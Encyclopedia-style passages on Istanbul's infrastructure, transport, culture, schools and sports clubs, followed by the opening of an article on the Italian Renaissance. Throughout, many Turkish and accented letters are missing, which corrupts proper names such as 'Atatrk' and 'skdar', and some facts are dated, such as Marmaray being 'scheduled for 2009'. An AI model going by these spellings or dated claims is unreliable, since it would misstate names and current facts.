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          The first water supply systems which were built in Istanbul date back to the foundation of the city. Two of the greatest aqueducts built in the Roman period are the Mazulkemer Aqueduct and the Valens Aqueduct. These aqueducts were built in order to channel water from the Halkalı area in the western edge of the city to the Beyazıt district in the city centre, which was known as the Forum Tauri in the Roman period. After reaching the city centre, the water was later collected in the city's numerous cisterns, such as the famous Philoxenos (Binbirdirek) Cistern and the Basilica (Yerebatan) Cistern. Sultan Suleiman the Magnificent commissioned Sinan, his engineer and architect-in-chief, to improve the water needs of the city. Sinan constructed the Kırkeşme Water Supply System in 1555. In later years, with the aim of responding to the ever-increasing public demand, water from various springs was channeled to the public fountains by means of small supply lines; see German Fountain.


          Today, Istanbul has a chlorinated and filtered water supply and a sewage disposal system managed by the government agency İSKİ. There are also several private sector organizations distributing clean water. Electricity distribution services are covered by the state-owned TEK. The first electricity production plant in the city, Silahtarağa Termik Santrali, was established in 1914 and continued to supply electricity until 1983.


          The Ottoman Ministry of Post and Telegraph was established in the city on October 23, 1840. The first post office was the Postahane-i Amire near the courtyard of Yeni Mosque. In 1876 the first international mailing network between Istanbul and the lands beyond the vast Ottoman Empire was established. In 1901 the first money transfers were made through the post offices and the first cargo services became operational. Samuel Morse received his first ever patent for the telegraph in 1847, at the old Beylerbeyi Palace (the present Beylerbeyi Palace was built in 18611865 on the same location) in Istanbul, which was issued by Sultan Abdlmecid who personally tested the new invention. Following this successful test, installation works of the first telegraph line between Istanbul and Edirne began on August 9, 1847. In 1855 the Telegraph Administration was established. In July 1881 the first telephone circuit in Istanbul was established between the Ministry of Post and Telegraph in Soğukeşme and the Postahane-i Amire in Yenicami. On May 23, 1909, the first manual telephone exchange with a 50 line capacity was established in the Byk Postane (Grand Post Office) of Sirkeci.


          


          Transportation
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          Air


          Istanbul has two international airports: The larger one is the Atatrk International Airport located in the Yeşilky district on the European side, about 24kilometres (15mi) west from the city centre. When it was first built, the airport used to be at the western edge of the metropolitan area but now lies within the city bounds.


          The smaller one is the Sabiha Gken International Airport located in the Kurtky district on the Asian side, close to the Istanbul Park GP Racing Circuit. It is situated approximately 20kilometres (12mi) east of the Asian side and 45kilometres (28mi) east of the European city centre.
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          In 1883, a Belgian entrepreneur, Georges Nagelmackers, began rail service between Paris and Constantinople, using a steamship to ferry passengers from Varna to Constantinople. In 1889, a rail line was completed going through Bucharest to Constantinople, making the whole journey via land possible. His company, La Compagnie Internationale des Wagons-Lits et des Grands Express Europens, provided the trains, which were renowned for their luxury and their beautiful Oriental style. The route was known as the Orient Express, made even more famous by the works of Agatha Christie and Graham Greene.


          Today, the Sirkeci Terminal of the Turkish State Railways (TCDD) is the terminus of all the lines on the European side and the main connection node of the Turkish railway network with the rest of Europe. Currently, international connections are provided by the line running between Istanbul and Thessaloniki, Greece, and the Bosphorus Express serving daily between Sirkeci and Gara de Nord in Bucharest, Romania. Lines to Sofia, Belgrade, Budapest, and Chişinău are established over the Bosphorus Express connection to Bucharest. Sirkeci Terminal was originally opened as the terminus of the Orient Express.


          Beyond the Bosphorus, the Haydarpaşa Terminal on the Asian side serves lines running several times daily to Ankara, and less frequently to other destinations in Anatolia. The railway networks on the European and Asian sides are currently connected by the train ferry across the Bosphorus, which will be replaced by an underwater tunnel connection with the completion of the Marmaray project, scheduled for 2009. Marmaray (Bosphorus Rail Tunnel) will also connect the metro lines on the European and Asian parts of the city. Haydarpaşa Terminal was originally opened as the terminus of the Istanbul-Baghdad and Istanbul-Damascus-Medina railways.


          


          Road


          


          The E5, E90 and Trans European Motorway (TEM) are the three main motorway connections between Europe and Turkey. The motorway network around Istanbul is well developed and is constantly being extended. Motorways lead east to Ankara and west to Edirne. There are also 2 express highways circling the city. The older one, the E5, is mostly used for inner city traffic while the more recent one, the TEM highway, is mostly used by intercity or intercontinental traffic. The Bosphorus Bridge on E5 and the Fatih Sultan Mehmet Bridge on TEM establish the motorway connection between the European and the Asian sides of the Bosphorus.


          


          Sea


          Sea transport is vital for Istanbul, as the city is practically surrounded by sea on all sides: the Sea of Marmara, the Golden Horn, the Bosphorus and the Black Sea. Many Istanbulites live on the Asian side of the city but work on the European side (or vice-versa) and the city's famous commuter ferries form the backbone of the daily transition between the two parts of the city - even more so than the two suspension bridges which span the Bosphorus. The commuter ferries, along with the high speed catamaran Seabus (Deniz Otobs), also form the main connection between the city and the Princes' Islands.


          


          İDO (İstanbul Deniz Otobsleri - Istanbul Sea Buses) was established in 1987 and operates the high speed catamaran Seabus which run between the European and Asian parts of Istanbul, also connecting the city with the Princes' Islands and other destinations in the Sea of Marmara. The Seabus are built by Kvaerner Fjellstrand of Norway and Austal Ships Pty. of Australia. The Yenikapı High Speed Car Ferry Port on the European side, and the Pendik High Speed Car Ferry Port on the Asian side, are where the high speed catamaran "car ferries" are based. These are larger than the other Seabus, and were likewise built or designed in Australia and Norway. The car ferries which operate between Yenikapı (on the European side of Istanbul) and Bandırma reduce the driving time between Istanbul and İzmir and other major destinations on Turkey's Aegean coast by several hours; while those which operate between Yenikapı or Pendik (on the Asian side of Istanbul) and Yalova significantly reduce the driving time between Istanbul and Bursa or Antalya.


          The port of Istanbul is the most important one in the country. The old port on the Golden Horn serves primarily for personal navigation, while Karaky port in Galata is used by the large cruise liners. Regular services as well as cruises from both Karaky and Eminn exist to several port cities in the Mediterranean Sea and Black Sea. Istanbul's main cargo port, on the other hand, is located in the Harem district, within the borough of skdar, on the Asian side of the city.


          Istanbul also has several marinas of varying size for harboring private yachts, the largest of which are the Ataky Marina on the European side and Kalamış Marina on the Asian side.


          


          Life in the city
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          Art & culture


          Istanbul was ranked third best city in Europe after Rome and ahead of Paris in the 2007 World's Best Cities rankings by Travel + Leisure magazine.


          Istanbul is becoming increasingly colorful in terms of its rich social, cultural, and commercial activities. While world famous pop stars fill stadiums, activities like opera, ballet and theatre continue throughout the year. During seasonal festivals, world famous orchestras, chorale ensembles, concerts and jazz legends can be found often playing to a full house. The Istanbul International Film Festival is one of the most important film festivals in Europe, while the Istanbul Biennial is another major event of fine arts.
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          Istanbul Modern, located on the Bosphorus with a magnificent view of the Seraglio Point, resembles Tate Modern in many ways and frequently hosts the exhibitions of renowned Turkish and foreign artists. Pera Museum and Sakıp Sabancı Museum have hosted the exhibitions of world famous artists like Picasso, Rodin, Rembrandt and many others, and are among the most important private museums in the city. The Rahmi M. Ko Museum on the Golden Horn is an industrial museum, largely inspired by the Henry Ford Museum in the United States. It exhibits historic industrial equipment such as cars and locomotives from the 1800s and early 1900s, as well as boats, submarines, aircraft, and other similar vintage machines from past epochs.


          Istanbul Archaeology Museum, established in 1881, is one of the largest and most famous museums of its kind in the world. The museum contains more than 1,000,000 archaeological pieces from the Mediterranean basin, the Balkans, the Middle East, North Africa and Central Asia. Istanbul Mosaic Museum contains the late Roman and early Byzantine floor mosaics and wall ornaments of the Great Palace of Constantinople. The nearby Turkish and Islamic Arts Museum, originally the Ibrahim Pasha Palace (1524) on Sultanahmet Square, displays a vast collection of items from various Islamic civilizations. Sadberk Hanım Museum on the Bosphorus contains a wide variety of artifacts, dating from the earliest Anatolian civilizations to the Ottomans.


          Occasionally, in November, the Silahhane (Armory Hall) of Yıldız Palace hosts the Istanbul Antiques Fair, which brings together rare pieces of antiques from the Orient and Occident. The items are sold either directly, or through auction. The multi-storey Mecidiyeky Antikacılar arşısı (Mecidiyeky Antiques Bazaar) in the Mecidiyeky quarter of Şişli is the largest antiques market in the city, while the ukurcuma neighbourhood of Beyoğlu has rows of antiques shops in its streets. The Grand Bazaar, edificed between 14551461 by the order of Sultan Mehmed the Conqueror and later enlarged in the 16th century during the reign of Sultan Suleiman the Magnificent also has numerous antiques shops, along with shops selling jewels, carpets and other items of art and artisanship. Historic and rare books are found in the Sahaflar arşısı near Beyazıt Square, which was known as the Forum Tauri in the Roman period. It is one of the oldest book markets in the world, and has continuously been active in the same location since the late Roman, Byzantine and Ottoman periods.


          A significant culture has been developed around what is known as a Turkish Bath ( Hamam), the origins of which can be traced back to the ancient Roman Bath, which was a part of the Byzantine lifestyle and customs that were inherited first by the Seljuk Turks and later the Ottomans, who developed it into something more elaborate. It was a culture of leisure during the Ottoman period. The hamams in the Ottoman culture started out as structural elements serving as annexes to mosques, however quickly evolved into institutions and eventually with the works of the great Ottoman architect Sinan, into monumental structural complexes, the finest example being the emberlitaş Hamamı (1584) in Istanbul, located on the emberlitaş (Column of Constantine) Square.


          Live shows and concerts are hosted at a number of locations including historical sites such as the Hagia Irene, Rumeli Fortress, Yedikule Castle, the courtyard of Topkapı Palace, and Glhane Park; as well as the Atatrk Cultural Centre, Cemal Reşit Rey Concert Hall and other open air and modern theatre halls. For those who enjoy night life, there are many night clubs, pubs, restaurants and taverns with live music. The night clubs, restaurants and bars increase in number and move to open air spaces in the summer. The areas around Istiklal Avenue and Nişantaşı offer all sorts of cafs, restaurants, pubs and clubs as well as art galleries, theaters and cinemas.


          Recreation
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          The most popular places for swimming in the city are in Bakırky, Kkekmece, Sarıyer and the Bosphorus. Outside the city are the Marmara Sea's Princes' Islands, Silivri and Tuzla; as well as Kilyos and Şile on the Black Sea.


          The Princes' Islands (Prens Adaları) are a group of islands in the Marmara Sea, south of the quarters Kartal and Pendik. Pine and stone-pine wooden neoclassical and art nouveau-style Ottoman era summer mansions from the 19th and early 20th centuries, horse-drawn carriages (motor vehicles are not permitted) and seafood restaurants make them a popular destination. They can be reached by ferry boats or high-speed catamaran Seabus (Deniz otobs) from Eminn and Bostancı. Of the nine islands, only five are settled.


          Şile is a distant and well-known Turkish seaside resort on the Black Sea, 50kilometres (31mi) from Istanbul, where unspoiled white sand beaches can be found. Kilyos is a small calm seaside resort not far from the northern European entrance of the Bosphorus at the Black Sea. The place has good swimming possibilities and has become popular in the recent years among the inhabitants of Istanbul as a place for excursions. Kilyos offers a beach park with seafood restaurants and night clubs, being particularly active in the summer with many night parties and live concerts on the beach.
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          Istanbul has numerous historic shopping centers, such as the Grand Bazaar (1461), Mahmutpaşa Bazaar (1462) and the Egyptian Bazaar (1660). The first modern shopping mall was Galleria Ataky (1987), which was followed by dozens of others in the later decades, such as Akmerkez (1993) which is the only mall to win both "Europe's Best" and "World's Best" awards by the ICSC; Metrocity (2003); Cevahir Mall (2005) which is the largest mall in Europe; and Kanyon Mall (2006) which won the 2006 Cityscape Architectural Review Award for its interesting design. İstinye Park (2007) and City's Nişantaşı (2008) are two new malls which target high-end consumers and are almost exclusively dedicated to world-famous fashion brands.


          


          Bars, cafs and restaurants


          Along with the traditional Turkish restaurants, many European and Far Eastern restaurants and numerous other cuisines are also thriving in the city.
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          Most of the city's historic pubs and winehouses are located in the areas around İstiklal Avenue in Beyoğlu. The 19th century iek Pasajı (literally Flower Passage in Turkish, or Cit de Pra in French, opened in 1876) on İstiklal Avenue can be described as a miniature version of the famous Galleria in Milan, Italy, and has rows of historic pubs, winehouses and restaurants. Pano, established by Panayot Papadopoulos in 1898, and the neighbouring Viktor Levi, established in 1914, are among the oldest winehouses in the city and are located on Hamalbaşı Avenue near the British Consulate and Galatasaray Square. Cumhuriyet Meyhanesi (literally Republic Winehouse), called this way since the early 1930s but originally established in the early 1890s, is another popular historic tavern and is located in the nearby Sahne Street, along with the Hazzopulo Winehouse, established in 1871, inside the Hazzopulo Pasajı which connects Sahne Street and Meşrutiyet Avenue. The famous Nevizade Street, which has rows of historic pubs next to each other, is also in this area.


          Other historic pubs are found in the areas around Tnel Pasajı and the nearby Asmalımescit Street. Some historic neighbourhoods around İstiklal Avenue have recently been recreated, such as Cezayir Street near Galatasaray Lisesi, which became known as La Rue Franaise and has rows of francophone pubs, cafs and restaurants playing live French music.


          


          


          Istanbul is also famous for its historic seafood restaurants. Many of them were originally established by the local Greeks, such as Aleko'nun Yeri in Yeniky on the European side of the Bosphorus, or Koo Restaurant in the Moda neighbourhood on the Asian side of the city, which also has a small Greek Orthodox Chapel and Hagiasma (Holy Spring) inside. The most popular seafood restaurants are generally found along the shores of the Bosphorus and by the Marmara Sea shore towards the south of the city; from the south to the north Kumkapı, Ortaky, Kurueşme (Park Fora, Marina), Arnavutky (Kuyu), Bebek (Bebek Balıkısı), Rumeli Hisarı (İskele), Yeniky (İzmirli Balıkı), Kireburnu (historic Ali Baba) and Sarıyer on the European side; or skdar, Kuzguncuk (İsmet Baba), Beylerbeyi (Villa Bosphorus), Kandilli, Anadolu Hisarı, engelky (Deniz Yıldızı) on the Anatolian side. The Princes' Islands in the Sea of Marmara (Byk Ada, Heybeli Ada, Kınalı Ada, Burgaz Ada) and Anadolu Kavağı near the northern entrance of the Bosphorus towards the Black Sea (close to Yoros Castle, which was also known as the Genoese Castle due to Genoa's possession of it in the mid-15th century) also have many historic seafood restaurants.


          


          Clubs


          There are thousands of alternatives for night life in Istanbul but the most popular open air summer time seaside night clubs are found on the Bosphorus, such as Reina, Sortie and Anjelique in the Ortaky district. Babylon and Nu Pera in Beyoğlu are popular night clubs both in the summer and in the winter, while Istanbul Arena in Maslak frequently hosts the live concerts of famous singers and bands from all corners of the world. Parkorman in Maslak hosted the Isle of MTV Party in 2002 and is a popular venue for live concerts and rave parties in the summer. Q Jazz Bar in Ortaky offers live jazz music in a stylish environment.
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          Universities


          Istanbul holds some of the finest institutions of higher education in Turkey, including more than 20 public and private universities. Most of the reputable universities are public, but in recent years there has also been an upsurge in the number of private universities. Istanbul University (1453) is the oldest Turkish educational institution in the city, while Istanbul Technical University (1773) is the world's second-oldest technical university dedicated entirely to engineering sciences. Other prominent state universities in Istanbul are the Boğazii University (1863), Mimar Sinan University of Fine Arts (1882), Marmara University (1883), Yıldız Technical University (1911) and Galatasaray University (1992). The major private universities in the city include Ko University (1993), Sabancı University (1994), Yeditepe University (1996), Bilgi University (1996), Işık University (1996), Fatih University (1996), Maltepe University (1997), Beykent University (1997), Kadir Has University (1997), Hali University (1998), Baheşehir University (1998), Okan University (1999), and Istanbul Commerce University (2001).


          


          High schools


          Galatasaray Lisesi, established in 1481 as Galata Sarayı Enderun-u Hmayunu (Galata Palace Imperial School) and later known as Galatasaray Mekteb-i Sultanisi (Galatasaray School of the Sultans) is the oldest Turkish high school in Istanbul and the second oldest Turkish educational institution in the city after Istanbul University which was established in 1453. Galatasaray gives education primarily in Turkish and French, but there are also courses in English, Italian, Latin, Greek, Ottoman Turkish, Persian and Arabic.


          İstanbul Lisesi, also commonly known as İstanbul Erkek Lisesi (established in 1884), abbreviated İEL, is one of the oldest and internationally renowned high schools of Turkey located in İstanbul. The school is considered among the elite of Turkish public high schools. Germany recognizes the school as a Deutsche Auslandsschule (German International school).
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          Almost all Turkish private high schools and universities in Istanbul teach in English, German or French as the primary foreign language, usually accompanied by a secondary foreign language.


          Fen Liseleri (Science High Schools) were established with the aim of providing education to exceptionally gifted students in mathematics, physics, chemistry and other sciences. These are boarding schools which offer a three-year program with a curriculum that emphasises science and mathematics. The schools have a standard class size of 24 pupils and the language of instruction is Turkish.


          Anadolu Liseleri (Anatolian High Schools) were originally furnished for the Turkish children who returned home from foreign countries, such as the skdar Anadolu Lisesi with German as the primary foreign language and technical instruction in German. Kadıky Anadolu Lisesi on the Asian side, however, is one of the first six special Ministry of Education Colleges (Maarif Koleji) established in 1950s in big cities across Turkey. Those English-medium colleges, too, were renamed as "Anadolu Lisesi" in subsequent decades.


          There are many foreign high schools in Istanbul, most of which were established in the 19th century in order to give education to the foreigners residing in Istanbul, or to local Stambouliotes with European roots. Following the establishment of the Republic of Turkey, most of these schools went under the administration of the Turkish Ministry of Education, but some of them still have considerable foreign administration, such as the Liceo Italiano (zel İtalyan Lisesi, 1861) which is still regarded as an Italian state school by the government of Italy and continues to receive funding and teachers from Rome. The oldest such school is the French Lyce Saint-Benoit, established in 1783 with its current name (the school's roots go back to 1362). Robert College, established in 1863, is the world's oldest American school outside the United States. The first international school in the city, Istanbul International Community School, was founded in 1911 to educate the children of international professors at Robert College. The name of the school was [[Robert College Community School until 1979, when it was changed to its current name, Istanbul International Community School (IICS). With a law passed by the Turkish Parliament in 1971, foreign universities in Turkey (i.e. Boğazii University which was originally the university section of Robert College) went under the jurisdiction of the Turkish state, but high schools were allowed to operate with foreign headmasters and curricula, such as the high school section of Robert College which continues to have an American headmaster. Other similar examples are the Lyce Notre Dame de Sion (1856), Deutsche Schule Istanbul (1868), Lyce Saint-Joseph (1870), skdar American Academy (1876), Lyce Saint-Michel (1886), Sankt Georg Austrian High School (1892), Zappeion Greek Girls' High School, Italian Girls' Junior High School, Esayan Armenian Girls' High School, Saint Jean Baptiste French Boys' School, Saint Pulcherie Jesuit School, Zoğrafyon Greek Boys' High School and the British Girls' School. Phanar Greek Orthodox College (Fener Rum Erkek Lisesi), established in 1454, is the oldest surviving and most prestigious Greek high school in the city. Many Ottoman viziers as well as Wallachian and Moldavian princes appointed by the Ottoman state were graduated from this school.


          


          Libraries


          Istanbul has numerous libraries, many of which contain vast collections of historic documents from the Roman, Byzantine and Ottoman periods, as well as from other civilizations of the past. The most important libraries in terms of historic document collections include the Topkapı Palace Library, Library of the Archaeological Museum Archaeological Museum, Library of the Naval Museum, Beyazıt State Library, Nuruosmaniye Library, Sleymaniye Library, Istanbul University Library, Kprlzade Fazıl Ahmed Paşa Library, Atatrk Library and elik Glersoy Library.
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          During the Roman and Byzantine periods, the most important sporting events were the chariot races that were held at the Hippodrome of Constantinople, which had a capacity to accommodate more than 100,000 spectators.


          Today, sports like football, basketball and volleyball are very popular in the city. In addition to Galatasaray, Fenerbahe and Beşiktaş, which field teams in multiple sports, several other clubs have also excelled in particular team sports; such as Efes Pilsen and Fenerbahe lker in basketball; or Eczacıbaşı and Vakıfbank in volleyball.


          The Atatrk Olympic Stadium is a five-star UEFA stadium and a first-class venue for track and field, having reached the highest required standards set by the International Olympic Committee and sports federations such as the IAAF, FIFA and UEFA. The stadium hosted the 2005 UEFA Champions League Final. The Şkr Saracoğlu Stadium will host the 2009 UEFA Cup Final.


          Personal sports like golf, horse riding and tennis are gaining popularity as the city hosts international tournaments such as the WTA Istanbul Cup. For aerobics and bodybuilding, numerous fitness clubs are available. Paintball is a sport which has recently gained popularity and is practiced by two large clubs in the proximity of Istanbul. Martial arts and other Eastern disciplines and practices such as Aikido and Yoga can be exercised in several centers across the city. Istanbul also hosts the annual MTB races in the nearby Belgrad Forest and Bykada Island. Two of the most prominent cycling teams of Turkey, namely the Scott/Marintek MTB Team and the Kron/Sektor Bikes/Efor Bisiklet MTB Team, are from Istanbul.


          Istanbul hosts several annual motorsports events, such as the Formula One Turkish Grand Prix, the MotoGP Grand Prix of Turkey, the FIA World Touring Car Championship, the GP2 and the Le Mans Series 1,000km (621mi) races at the Istanbul Park GP Racing Circuit.


          From time to time Istanbul also hosts the Turkish leg of the F1 Powerboat Racing on the Bosphorus. Several annual sailing and yacht races take place on the Bosphorus and the Sea of Marmara. The Golden Horn is where the rowing races take place. Major clubs like Galatasaray, Fenerbahe and Beşiktaş, and major universities such as the Bosphorus University have rowing teams.


          Air racing is new to the city. On July 29, 2006, Istanbul hosted the 4th round of the spectacular Red Bull Air Race World Series above the Golden Horn.


          
            
              	Club

              	Sport

              	Established

              	League

              	Venue
            


            
              	Beşiktaş JK

              	Football

              	1903

              	Turkcell Super League

              	İnn Stadium
            


            
              	Galatasaray SK

              	Football

              	1905

              	Turkcell Super League

              	Ali Sami Yen Stadium
            


            
              	Fenerbahe SK

              	Football

              	1907

              	Turkcell Super League

              	Şkr Saracoğlu Stadium
            


            
              	Istanbulspor AS

              	Football

              	1926

              	Turkish 2nd Division

              	Gngren Stadium
            


            
              	Beşiktaş Cola Turka

              	Basketball

              	1903

              	Turkish Basketball League

              	BJK Akatlar Arena
            


            
              	Galatasaray Cafe Crown

              	Basketball

              	1905

              	Turkish Basketball League

              	Ayhan Şahenk Sports Hall
            


            
              	Fenerbahe lkerspor

              	Basketball

              	1907

              	Turkish Basketball League

              	Abdi İpeki Arena
            


            
              	Beykoz 1908

              	Basketball

              	1908

              	Turkish Basketball League

              	R. Şahin Kktrk Sports Hall
            


            
              	Darşşafaka S.K.

              	Basketball

              	1914

              	Turkish Basketball League

              	Ayhan Şahenk Sports Hall
            


            
              	Tekelspor

              	Basketball

              	1941

              	Turkish Basketball League

              	Haldun Alagaş Sports Hall
            


            
              	Efes Pilsen S.K.

              	Basketball

              	1976

              	Turkish Basketball League

              	Abdi İpeki Arena
            


            
              	Alpella

              	Basketball

              	2006

              	Turkish Basketball League

              	Caferağa Sports Hall
            


            
              	Eczacıbaşı

              	Volleyball

              	1977

              	Turkish Women's Volleyball League

              	Eczacıbaşı Sports Hall
            


            
              	Vakıfbank Gneş Sigorta

              	Volleyball

              	1986

              	Turkish Women's Volleyball League

              	Haldun Alagaş Sports Hall
            

          


          


          Town twinning


          The following is a list of Istanbul's sister cities:
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          The Italian Renaissance began the opening phase of the Renaissance, a period of great cultural change and achievement in Europe that spanned the period from the end of the 14th century to about 1600, marking the transition between Medieval and Early Modern Europe. The term renaissance is in essence a modern one that came into currency in the nineteenth century, in the work of historians such as Jacob Burckhardt. Although the origins of a movement that was confined largely to the literate culture of intellectual endeavor and patronage can be traced to the earlier part of the 14th century, many aspects of Italian culture and society remained largely Medieval; the Renaissance did not come into full swing until the end of the century. The word renaissance (Rinascimento in Italian) means rebirth, and the era is best known for the renewed interest in the culture of classical antiquity after the period that Renaissance humanists labelled the Dark Ages. These changes, while significant, were concentrated in the elite, and for the vast majority of the population life was little changed from the Middle Ages.


          The European Renaissance began in Tuscany, and centered in the cities of Florence and Siena. It later had a great impact in Venice, where the remains of ancient Greek culture were brought together, providing humanist scholars with new texts. The Renaissance later had a significant effect on Rome, which was ornamented with some structures in the new all'antico mode, then was largely rebuilt by sixteenth-century popes. The Italian Renaissance peaked in the late 15th century as foreign invasions plunged the region into the turmoil of the Italian Wars. However, the ideas and ideals of the Renaissance spread into the rest of Europe, setting off the Northern Renaissance, and the English Renaissance.


          The Italian Renaissance is best known for its cultural achievements. Italian Renaissance literature includes such figures as Petrarch, Castiglione, and Machiavelli. Italian Renaissance painting exercised a dominant influence on Western painting for centuries afterwards, with artists such as Michelangelo, Raphael Botticelli, and Leonardo da Vinci, and the same is true for architecture, with works such as Florence Cathedral and St. Peter's Basilica in Rome: see Renaissance architecture. At the same time, some present-day historians also see the era as one of economic regression and of little progress in science, which made its great leaps forward among Protestant culture in the seventeenth century.


          


          Origins


          
            
              	[image: ]
            


            
              	History of Italy
            


            
              	By time period
            


            
              	
                Prehistoric Italy

                ( Terramare  Villanovan  Etruscan)

                Magna Graecia (8th7th c. BC)

                Ancient Rome (8th c. BC  6th c. AD)

                ( Kingdom  Republic  Empire)

                Middle Ages (6th14th c.)

                Italian Renaissance (14th16th c.)

                Italian Wars (14941559)

                Foreign domination (1559 1814)

                Risorgimento (1814 1861)

                Monarchy and Fascism (1861 1945)

                Italian Republic (1945  present)

              
            


            
              	By topic
            


            
              	
                Military history

                historical states


              
            

          


          


          Northern Italy in the Late Middle Ages


          By the late Middle Ages, central and southern Italy, the heartland of the Roman Empire, was far poorer than the north. Rome was a city dominated by ancient ruins, and the Papal States were a loosely administered region with little law and order, due to the pope having relocated to Avignon under pressure from King Philip the Fair of France. In the South, Naples, Sicily, and Sardinia had for some time been under foreign domination.


          The north was far more prosperous, with the states of northern Italy among the wealthiest in Europe. The Crusades had built lasting trade links to the Levant, and the Fourth Crusade had done much to destroy the Byzantine Empire as a commercial rival to the Venetians and Genoese. The main trade routes from the east passed through the Byzantine Empire or the Arab lands and onwards to the ports of Genoa, Pisa, and Venice. Luxury goods bought in the Levant, such as spices, dyes, and silks were imported to Italy and then resold throughout Europe. Moreover, the inland city-states profited from the rich agricultural land of the Po valley. From France, Germany, and the Low Countries, through the medium of the Champagne fairs, land and river trade routes brought goods such as wool, wheat, and precious metals into the region. The extensive trade that stretched from Egypt to the Baltic generated substantial surpluses that allowed significant investment in mining and agriculture. Thus, while northern Italy was not richer in resources than many other parts of Europe, the level of development, stimulated by trade, allowed it to prosper. Florence became one of the wealthiest cities of Northern Italy, due mainly to its woolen textile production, under the supervision of its dominant trade guild, the Arte della Lana. Wool was imported from Northern Europe (and in the sixteenth century from Spain) and dyes from the east were used to make high quality textiles.


          The Italian trade routes that covered the Mediterranean and beyond were also major conduits of culture and knowledge. In medieval times works that embodied the classical learning of the Greeks had trickled into Western Europe, through Arab translations and treatises, from Toledo and from Palermo, especially in the so-called Renaissance of the 12th century. After the Spanish Reconquista of the fifteenth century and the resulting translations of Arabic-language works by the Arabists of the School of Salamanca, the scientific, philosophical, and mathematical thinking of the Arabs became accessible to Northern Italy. After the Fall of Constantinople in 1453, a flood of refugee Greek scholars was important in sparking the new linguistic studies of the Renaissance, in revived academies in Florence and Venice. Humanist scholars searched monastic libraries for ancient manuscripts and recovered Tacitus and other Latin authors; with the rediscovery of Vitruvius the architectural principles of Antiquity could be observed once more, and Renaissance artists were encouraged, in the atmosphere of humanist optimism, to excel the achievements of the Ancients, like Apelles, of whom they read.


          


          Thirteenth-century prosperity


          In the thirteenth century, much of Europe experienced strong economic growth. The trade routes of the Italian states linked with those of established Mediterranean ports and eventually the Hanseatic League of the Baltic and northern regions of Europe to create a network economy in Europe for the first time since the third century. The city-states of Italy expanded greatly during this period and grew in power to become de facto fully independent of the Holy Roman Empire; apart from the Kingdom of Naples, outside powers kept their armies out of Italy. During this period, the modern commercial infrastructure developed, with double-entry book-keeping, joint stock companies, an international banking system, a systematized foreign exchange market, insurance, and government debt. Florence became the centre of this financial industry and the gold florin became the main currency of international trade.


          The new mercantile governing class, who gained their position through financial skill, adapted to their purposes the feudal aristocratic model that had dominated Europe in the Middle Ages. A feature of the High Middle Ages in Northern Italy was the rise of the urban communes which had broken from the control by bishops and local counts. In much of the region, the landed nobility was poorer than the urban patriarchs in the High Medieval money economy whose inflationary rise left land-holding aristocrats impoverished. The increase in trade during the early Renaissance enhanced these characteristics. The decline of feudalism and the rise of cities influenced each other; for example, the demand for luxury goods led to an increase in trade, which led to greater numbers of tradesmen becoming wealthy, who, in turn, demanded more luxury goods. This change also gave the merchants almost complete control of the governments of the Italian city-states, again enhancing trade. One of the most important effects of this political control was security. Those that grew extremely wealthy in a feudal state ran constant risk of running afoul of the monarchy and having their lands confiscated, as famously occurred to Jacques Coeur in France. The northern states also kept many medieval laws that severely hampered commerce, such as those against usury, and prohibitions on trading with non-Christians. In the city-states of Italy, these laws were repealed or rewritten.


          


          Fourteenth-century collapse


          The fourteenth century saw a series of catastrophes that caused the European economy to go into recession. The Medieval Warm Period was ending as the transition to the Little Ice Age began. This change in climate saw agricultural output decline significantly, leading to repeated famines, exacerbated by the rapid population growth of the earlier era. The Hundred Years' War between England and France disrupted trade throughout northwest Europe, most notably when, in 1345, King Edward III of England repudiated his debts, contributing to the collapse of the two largest Florentine banks, those of the Bardi and Peruzzi. In the east, war was also disrupting trade routes, as the Ottoman Empire began to expand throughout the region. Most devastating, though, was the Black Death that decimated the populations of the densely populated cities of Northern Italy and returned at intervals thereafter. Florence, for instance, which had a pre-plague population of 45,000 decreased over the next 47 years by 2550%. Widespread disorder followed, including a revolt of Florentine textile workers, the ciompi, in 1378.


          It was during this period of instability that the first Renaissance figures, such as Dante and Petrarch lived, and the first stirrings of Renaissance art were to be seen in the opening half of the fourteenth century, notably in the realism of Giotto. Paradoxically, some of these disasters would help establish the Renaissance. The Black Death wiped out a third of Europe's population, producing a labour shortage, so that the reduced population was much wealthier, better fed, and, significantly, had more surplus money to spend on luxury goods like art and architecture. As incidences of the plague began to decline in the early fifteenth century, Europe's devastated population once again began to grow. This new demand for products and services, and the reduced number of people able to provide them, put the lower classes in a more favourable position. Furthermore, this demand also helped create a growing class of bankers, merchants, and skilled artisans. The horrors of the Black Death and the seeming inability of the Church to provide relief would contribute to a decline of church influence, another significant contributing factor to the Renaissance. Additionally, the collapse of the Bardi and Peruzzi banks would open the way for the Medici to rise to prominence in Florence. Robert Sabatino Lopez argues that the economic collapse was a crucial cause of the Renaissance. According to this view, in a more prosperous era, businessmen would have quickly reinvested their earnings in order to make more money in a climate favourable to investment. However, in the leaner years of the fourteenth century, the wealthy found few promising investment opportunities for their earnings and instead chose to spend more on culture and art.


          Another popular explanation for the Italian Renaissance is the thesis, first advanced by historian Hans Baron, that states that the primary impetus of the early Renaissance was the long-running series of wars between Florence and Milan. By the late fourteenth century, Milan had become a centralized monarchy under the control of the Visconti family. Giangaleazzo Visconti, who ruled the city from 1378 to 1402, was renowned both for his cruelty and for his abilities, and set about building an empire in Northern Italy. He launched a long series of wars, with Milan steadily conquering neighbouring states and defeating the various coalitions led by Florence that sought in vain to halt the advance. This culminated in the 1402 siege of Florence, when it looked as though the city was doomed to fall, before Giangaleazzo suddenly died and his empire collapsed.


          Baron's thesis suggests that during these long wars, the leading figures of Florence rallied the people by presenting the war as one between the free republic and the despotic monarchy, between the ideals of the Greek and Roman Republics and those of the Roman Empire and Medieval kingdoms. For Baron, the most important figure in crafting this ideology was Leonardo Bruni. This time of crisis in Florence was the period when most of the major early Renaissance figures were coming of age, such as Ghiberti, Donatello, Masolino, and Brunelleschi, and that they were inculcated with this republican ideology. These and other figures later went on to advocate republican ideas that were to have an enormous impact on the Renaissance.


          


          Development


          


          International relations


          
            [image: Sigismondo Pandolfo Malatesta (1417–1468), lord of Rimini, by Piero della Francesca. Malatesta was a capable condottiere, following the tradition of his family. He was hired by the Venetians to fight against the Turks (unsuccessfully) in 1465, and was patron of Leone Battista Alberti, whose Tempio Malatestiano at Rimini is one of the first entirely classical buildings of the Renaissance.]

            
